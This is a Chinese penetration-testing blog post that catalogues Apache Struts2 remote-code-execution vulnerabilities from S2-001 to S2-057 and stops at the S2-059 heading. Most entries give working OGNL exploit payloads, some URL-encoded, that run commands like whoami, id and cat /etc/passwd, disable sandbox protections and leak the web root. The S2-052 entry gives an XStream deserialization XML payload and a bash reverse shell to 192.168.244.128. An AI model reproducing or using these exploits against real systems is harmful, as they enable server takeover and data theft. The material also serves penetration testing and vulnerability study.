【渗透测试】Struts2系列漏洞

这篇具有很好参考价值的文章主要介绍了【渗透测试】Struts2系列漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

🌷S2-001

🌼1、漏洞原理

🌼2、影响版本

🌼3、验证方法

🌷S2-005

🌼1、漏洞原理

🌼2、影响版本

🌼3、验证方法(无回显)

🌼4、验证方法(有回显)

🌷S2-007

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-008

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-009

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-012

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-013

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-014

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-015

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-016

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-032

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-045

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-046

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-048

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-052

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-053

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-057

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-059

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证

🌷S2-061

🌼1、漏洞原理

🌼2、影响版本

🌼3、漏洞验证


🌷S2-001

🌼1、漏洞原理

    因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。

🌼2、影响版本

Struts 2.0.0 - 2.0.8

🌼3、验证方法

    由漏洞原理可知,可以通过%{value}进行判断是否存在S2-001,这里我们构建payload为:%{1+1},下图分别为提交前后显示,提交后返回中计算了{}中的数学表达式

【渗透测试】Struts2系列漏洞

【渗透测试】Struts2系列漏洞

🍑(1)获取web路径poc

%{

#req=@org.apache.struts2.ServletActionContext@getRequest(),

#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),

#response.println(#req.getRealPath('/')),

#response.flush(),

#response.close()

}

🍑(2)命令执行poc(只需要修改加粗处命令即可,读取文件是第一个参数为命令,第二个参数为路径,若只有命令则只添加命令参数即可)

%{

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),

#b=#a.getInputStream(),

#c=new java.io.InputStreamReader(#b),

#d=new java.io.BufferedReader(#c),

#e=new char[50000],

#d.read(#e),

#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

#f.getWriter().println(new java.lang.String(#e)),

#f.getWriter().flush(),#f.getWriter().close()

}

🌷S2-005

🌼1、漏洞原理

    S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

🌼2、影响版本

Struts 2.0.0 - Struts 2.1.8.1

🌼3、验证方法(无回显)

🍓POC:

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

此poc分为三个部分,执行结果为在tmp文件夹下创建success文件

(1)(’\u0023_memberAccess[‘allowStaticMethodAccess’]’)(vaaa)=true

    第一步将_memberAccess变量中的allowStaticMethod设置为true,这里payload还要加括号,并且还带个"(meh)"呢?其实是为了遵守Ognl语法树的规则。第一步完成后,就可以执行静态方法了。

(2)(aaaa)((’\u0023context[‘xwork.MethodAccessor.denyMethodExecution’]\u003d\u0023vccc’)(\u0023vccc\u003dnew java.lang.Boolean(“false”)))

    第二步将上下文中的xwork.MethodAccessor.denyMethodExecution设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类,也存在与Ognl的上下文中。同样遵守Ognl语法树规则。

(3)(asdf)((’\u0023rt.output(“touch@/tmp/success”.split("@"))’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

    第三步就是真正的攻击代码,前两步就是要保证第三步成功执行,第三步就是执行了关闭服务器的代码。但是要过调用Runtime类的静态方法获取一个Runtime对象。

🌼4、验证方法(有回显)

🍓POC:

('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))

(1)设置上下文denyMethodExecution=false 运行方法执行

(2)excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)设置外部拦截器为空

(3)mycmd=“whoami” 定义我们的执行命令的变量

(4)myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)’) (调用静态方法执行我们的变量)

(5)mydat=new java.io.DataInputStream(\43myret.getInputStream())’) 获取输入流 (post)

(6)myres=new data[51020];mydat.readfully(myres); 读取输入流

(5,6为了转换输入流的类型)

(7)mystr=new java.lang.String(#myres) ;定义并赋值输入流

(8)myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据

(9)myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。

【渗透测试】Struts2系列漏洞

🌷S2-007

🌼1、漏洞原理

    age参数只能是整数,而非整数会导致错误,struct会将用户的输入当作ognl表达式执行,从而导致了该漏洞

🌼2、影响版本

Struts 2.0.0 - Struts 2.2.3

🌼3、漏洞验证

在age参数处输入以下poc即可

🍓POC:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

【渗透测试】Struts2系列漏洞

🌷S2-008

🌼1、漏洞原理

?debug=command&expression=处存在OGNL远程代码执行漏洞

🌼2、影响版本

Struts 2.0.0 - Struts 2.3.1

🌼3、漏洞验证

在url后拼接以下POC即可

🍓POC:

?debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()

【渗透测试】Struts2系列漏洞

🌷S2-009

🌼1、漏洞原理

    当前版本的action中接受了某个参数example,这个参数将进入OGNL的上下文。我们可以将OGNL表达式放在example参数中,然后使用/HelloWorld.acton?example=&(example)(‘xxx’)=1的方法来执行绕过。

🌼2、影响版本

Struts 2.0.0 - Struts 2.3.1.1

🌼3、漏洞验证

在漏洞url后拼接以下poc即可(age参数可不要,根据具体情况取舍)

🍓POC:

?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

【渗透测试】Struts2系列漏洞

🌷S2-012

🌼1、漏洞原理

    重定向的路径中使用了 %{} 导致了的 RCE 漏洞。漏洞触发原理与 S2-001 类似,对 %{} 表达式进行了循环解析

    OGNL 评估已在S2-003和S2-005和S2-009 中得到解决,但是,由于它只涉及参数的名称,因此结果是基于将可接受的参数名称列入白名单并拒绝评估参数中包含的表达式的结果修复名称,仅部分关闭了漏洞。第二次评估发生在重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时。这使得恶意用户可以将任意 OGNL 语句放入由操作公开的任何未经处理的 String 变量中,并将其评估为 OGNL 表达式以启用方法执行和执行任意方法,从而绕过 Struts 和 OGNL 库保护。

    在配置文件中 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,可能会导致 OGNL 表达式命令执行

🌼2、影响版本

Struts 2.1.0 - 2.3.13

🌼3、漏洞验证

使用S2-001的POC即可,但是要对其进行URL编码

🍓POC:

%25{

    %23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),

    %23b%3d%23a.getInputStream(),

    %23c%3dnew+java.io.InputStreamReader(%23b),

    %23d%3dnew+java.io.BufferedReader(%23c),

    %23e%3dnew+char[50000],

    %23d.read(%23e),        

    %23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

    %23f.getWriter().println(new+java.lang.String(%23e)),

    %23f.getWriter().flush(),%23f.getWriter().close()

}

【渗透测试】Struts2系列漏洞

🌷S2-013

🌼1、漏洞原理

    链接标签带入参数时导致的OGNL解析漏洞。Struts2标签中<s:a>和<s:url>都包含一个includeParams 属性,其值可设置为none、get或all,参考官方其对应意义如下:

✨none - 链接不包含请求的任意参数值(默认)

✨get - 链接只包含 GET 请求中的参数和其值

✨all - 链接包含 GET 和 POST 所有参数和其值

    <s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

🌼2、影响版本

Struts 2.0.0 - 2.3.14

🌼3、漏洞验证

直接在URL链接后添加任意参数和值即可

🍓POC:

?xxx=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

【渗透测试】Struts2系列漏洞

🌷S2-014

🌼1、漏洞原理

    S2-014是对于S2-013修复不完整的造成的漏洞,在S2-013 修复的代码中,官方限制了%{(#exp)}格式的OGNL执行,但是忽略了${exp} OGNL表达式执行的方式,因此导致了S2-014的产生。

🌼2、影响版本

Struts  2.0.0 - 2.3.14.1

🌼3、漏洞验证

🍓POC :

?x=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22id%22%29%29%7D

🌷S2-015

🌼1、漏洞原理

    S2-015 官方公告公布了两种漏洞利用方式,一种是通配符匹配action,一种是在struts.xml中使用${}引用Action变量导致的二次解析。

(1)漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式

例如如下配置:

<package name="S2-015" extends="struts-default">

    <action name="*" class="com.demo.action.PageAction">

        <result>/{1}.jsp</result>

    </action>

</package>

    上述配置能让我们访问name.action时使用name.jsp来渲染页面,但是在提取name并解析时,对其执行了OGNL表达式解析,所以导致命令执行。漏洞原理跟S2-012类似,S2-012利用的重定向类型,S2-015利用的Action的名称。复现的时候发现,由于name值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

    需要注意,在 Struts 2.3.14.2 中,官方将SecurityMemberAccess类中成员变量allowStaticMethodAccess添加了final修饰符,并且将其set方法进行了删除。这就导致了我们不能通过#_memberAccess["allowStaticMethodAccess"]=true来改变其值,因为没有set方法了。但是至少有两种思路进行绕过:

a. 使用反射修改其值:

#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),

b. 使用非静态方法调用 POC:

new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a","Calculator.app"}).start()

(2)在struts.xml中使用${}引用Action变量导致的二次解析

例如如下配置:

<result type="httpheader">

    <param name="errorMessage">${message}</param>

</result>

    这里配置了<param name="errorMessage">${message}</param>,其中message为ParamAction中的一个私有变量,这样配置会导致触发该Result时,Struts2会从请求参数中获取message的值,并在解析过程中,触发了OGNL表达式执行。这里需要注意的是这里的二次解析是因为在struts.xml中使用${param}引用了Action中的变量所导致的,并不针对于 type=“httpheader”这种返回方式。

🌼2、影响版本

Struts 2.0.0 - 2.3.14.2

🌼3、漏洞验证

    直接提交%{1+1}或${1+1}作为其变量值提交就会得到执行,注意用%{1+1}时需要将%进行url编码

【渗透测试】Struts2系列漏洞

【渗透测试】Struts2系列漏洞

🍓POC:

%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream())%2C%23q%7D.action

【渗透测试】Struts2系列漏洞

🌷S2-016

🌼1、漏洞原理

    在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

🌼2、影响版本

Struts 2.0.0 - 2.3.15.2

🌼3、漏洞验证

    漏洞访问URL格式:http://your-ip:8080/index.action?redirect:OGNL表达式,注意一定要对POC进行URL编码

🍑(1)命令执行

🍓原POC:

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

🍓URL编码后:

redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D

【渗透测试】Struts2系列漏洞

 🍑(2)获取web目录

🍓原POC:

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

🍓URL编码:

redirect%3A%24%7B%23req%3D%23context.get('co'%2B'm.open'%2B'symphony.xwo'%2B'rk2.disp'%2B'atcher.HttpSer'%2B'vletReq'%2B'uest')%2C%23resp%3D%23context.get('co'%2B'm.open'%2B'symphony.xwo'%2B'rk2.disp'%2B'atcher.HttpSer'%2B'vletRes'%2B'ponse')%2C%23resp.setCharacterEncoding('UTF-8')%2C%23ot%3D%23resp.getWriter%20()%2C%23ot.print('web')%2C%23ot.print('path%3A')%2C%23ot.print(%23req.getSession().getServletContext().getRealPath('%2F'))%2C%23ot.flush()%2C%23ot.close()%7D

【渗透测试】Struts2系列漏洞

🌷S2-032

🌼1、漏洞原理

    Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。

🌼2、影响版本

Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

🌼3、漏洞验证

🍓POC:

xxx.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

【渗透测试】Struts2系列漏洞

🌷S2-045

🌼1、漏洞原理

    当content-type中出现"multipart/form_data"时,会被认为有文件上传,从而调用struts2默认的上传文件组件Jakarta,通过组件漏洞载入OGNL代码并执行,从而达到远程调用的目的。

🌼2、影响版本

Struts 2.3.5 - Struts 2.3.31、Struts 2.5 - Struts 2.5.10

🌼3、漏洞验证

🍑(1)POC1:验证漏洞是否存在

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

【渗透测试】Struts2系列漏洞

🍑(2)POC2:用于进行命令执行

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

POC2解析:

(1)用来触发文件漏洞,声明为文件上传

%{(#test='multipart/form-data')

(2)用来注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,绕过SecurityMemberAccess的限制。

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)

.(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container'])

.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))

.(#ognlUtil.getExcludedPackageNames().clear())

.(#ognlUtil.getExcludedClasses().clear())

.(#context.setMemberAccess(#dm))))

(3)剩下的为调用CMD命令的代码,简单粗暴,首先判断操作系统,win下调用cmd,linux下调用bash。

.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))

.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))

.(#p=new java.lang.ProcessBuilder(#cmds))

.(#p.redirectErrorStream(true))

.(#process=#p.start())

.(#ros(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))

.(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))

.(#ros.flush())}

【渗透测试】Struts2系列漏洞

🌷S2-046

🌼1、漏洞原理

    当content-type中出现"multipart/form_data"时,会被认为有文件上传,从而调用struts2默认的上传文件组件Jakarta,通过组件漏洞载入OGNL代码并执行,从而达到远程调用的目的。

🌼2、影响版本

Struts 2.3.5 - Struts 2.3.31、Struts 2.5 - Struts 2.5.10

🌼3、漏洞验证

    此漏洞与S2-045漏洞原理一致,只是漏洞点不一样,因此POC可以通用,但是要注意因为该漏洞的漏洞点在filename参数,所以最后要使用00截断。00截断操作方法:在POC最后添加字符空格+a,添加空格是为了占位,字符a是为了便于识别点位。打开hex扎到a的位置,将其前面一个字符改为00即可

【渗透测试】Struts2系列漏洞

🌷S2-048

🌼1、漏洞原理

    Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当ActionMessage接收客户可控的参数数据时,将用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行,导致任意代码执行。

🌼2、影响版本

Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本

🌼3、漏洞验证

在name一栏输入%{1+1}或者${1+1},点击提交,若返回界面如下所示则证明存在该漏洞。

【渗透测试】Struts2系列漏洞

🍓POC:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).

(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

【渗透测试】Struts2系列漏洞

🌷S2-052

🌼1、漏洞原理

    Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 REST插件的XStream插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

🌼2、影响版本

Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

🌼3、漏洞验证

    访问http://ip/orders.xhtml,即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。点击任意一个edit,并用bp抓包,转换GET请求为POST请求,按要求修改Content-Type,插入验证代码。

🍑(1)创建文件代码

    以下代码功能为在tmp文件夹下创建success文件,点击发送后利用命令docker-compose exec struts2 ls /tmp查看是否成功创建

🍓POC:

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

        <dataHandler>

          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

            <is class="javax.crypto.CipherInputStream">

              <cipher class="javax.crypto.NullCipher">

                <initialized>false</initialized>

                <opmode>0</opmode>

                <serviceIterator class="javax.imageio.spi.FilterIterator">

                  <iter class="javax.imageio.spi.FilterIterator">

                    <iter class="java.util.Collections$EmptyIterator"/>

                    <next class="java.lang.ProcessBuilder">

                      <command>

                        <string>touch</string>

                        <string>/tmp/success</string>

                      </command>

                      <redirectErrorStream>false</redirectErrorStream>

                    </next>

                  </iter>

                  <filter class="javax.imageio.ImageIO$ContainsFilter">

                    <method>

                      <class>java.lang.ProcessBuilder</class>

                      <name>start</name>

                      <parameter-types/>

                    </method>

                    <name>foo</name>

                  </filter>

                  <next class="string">foo</next>

                </serviceIterator>

                <lock/>

              </cipher>

              <input class="java.lang.ProcessBuilder$NullInputStream"/>

              <ibuffer></ibuffer>

              <done>false</done>

              <ostart>0</ostart>

              <ofinish>0</ofinish>

              <closed>false</closed>

            </is>

            <consumed>false</consumed>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

  </entry>

  <entry>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

  </entry>

</map>

【渗透测试】Struts2系列漏洞【渗透测试】Struts2系列漏洞

🍑(2)反弹shell代码

将核心代码(红框框处部分)替换为以下代码即可:

🍓POC:

<command> <string>bash</string> <string>-c</string> <string>bash -i >&amp; /dev/tcp/192.168.244.128/777 0>&amp;1</string> </command>

【渗透测试】Struts2系列漏洞

【渗透测试】Struts2系列漏洞

🌷S2-053

🌼1、漏洞原理

    Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

🌼2、影响版本

Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10

🌼3、漏洞验证

访问地址http://IP/hello.action,在your url框中填入POC即可

🍓POC:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

【渗透测试】Struts2系列漏洞

🌷S2-057

🌼1、漏洞原理

    定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。

    利用条件:(1)alwaysSelectFullNamespace操作元素没有设置命名空间属性,或者使用通配符;(2)命名空间将由用户从uri传递,并被解析为OGNL表达式,最终导致远程代码执行漏洞。

🌼2、影响版本

<=Struts 2.3.34,Struts 2.5.16

🌼3、漏洞验证

🍑(1)验证漏洞:http://IP/struts2-showcase/$%7B233*233%7D/actionChain1.action

payload被执行,计算出了233*233的值

【渗透测试】Struts2系列漏洞

🍑(2)命令执行

🍓POC:

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#ct=#request['struts.valueStack'].context).

(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).

(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).

(#ct.setMemberAccess(#dm)).

(#a=@java.lang.Runtime@getRuntime().exec('id')).

(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

🍓插入代码时要进行URL编码:

%24%7b%0d%0a(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d%0d%0a

【渗透测试】Struts2系列漏洞

🌷S2-059

🌼1、漏洞原理

